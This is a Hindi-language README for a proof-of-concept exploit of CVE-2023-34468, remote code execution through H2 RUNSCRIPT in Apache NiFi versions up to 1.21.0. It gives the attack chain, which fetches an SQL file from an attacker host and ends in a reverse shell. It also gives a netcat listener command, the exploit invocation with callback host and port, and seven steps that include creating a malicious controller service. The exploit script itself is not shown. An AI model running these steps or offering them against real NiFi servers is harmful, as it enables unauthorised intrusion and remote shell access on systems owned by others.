
CVE-2023-34468 के लिए PoC एक्सप्लॉइट — Apache NiFi <= 1.21.0 में H2 RUNSCRIPT के माध्यम से RCE
Apache NiFi <= 1.21.0 में H2 Database RUNSCRIPT के माध्यम से रिमोट कोड एक्ज़ीक्यूशन
Apache NiFi अपने साथ डिफ़ॉल्ट रूप से एक H2 डेटाबेस JAR बंडल करके भेजता है। DBCPConnectionPool
कंट्रोलर सर्विस को इस H2 ड्राइवर का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। H2 एक RUNSCRIPT
स्टेटमेंट का समर्थन करता है जो किसी रिमोट URL से SQL फ़ाइल लाकर निष्पादित करता है। वह SQL फ़ाइल CREATE ALIAS के माध्यम से
मनमाना Java कोड परिभाषित कर सकती है और उसे सर्वर OS पर निष्पादित कर सकती है।
अटैक श्रृंखला:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| सॉफ़्टवेयर | संस्करण |
|---|---|
| Apache NiFi | <= 1.21.0 |
| इसमें ठीक हुआ | 1.21.1+ |
| Java | कोई भी (बंडल किया हुआ) |
requests लाइब्रेरी → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
टर्मिनल 1 — लिसनर:
nc -lvnp 4444
टर्मिनल 2 — एक्सप्लॉइट:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 अनाम एक्सेस और राइट अनुमतियाँ जाँचें
Step 2 रूट Process Group ID प्राप्त करें
Step 3 दुर्भावनापूर्ण DBCPConnectionPool कंट्रोलर सर्विस बनाएँ
Step 4 कंट्रोलर सर्विस सक्षम करें (रिवीज़न वर्ज़निंग संभालता है)
Step 5 ExecuteSQL प्रोसेसर बनाएँ जो हमारे HTTP सर्वर पर rce.sql की ओर इशारा करे
Step 6 प्रोसेसर शुरू करें → NiFi rce.sql लाता है → शेल कॉलबैक
Step 7 सफ़ाई (यदि --cleanup फ़्लैग सेट है)
| आर्ग्युमेंट | डिफ़ॉल्ट | विवरण |
|---|
--target | http://NiFi.target.com | टारगेट NiFi का बेस URL |
--lhost | 10.10.10.10 | आपका IP (tun0) |
--lport | 4444 | रिवर्स शेल लिसनर पोर्ट |
--http-port | 80 | rce.sql सर्व करने के लिए पोर्ट |
--cleanup | False | रन के बाद बनाई गई आर्टिफ़ैक्ट्स हटाएँ |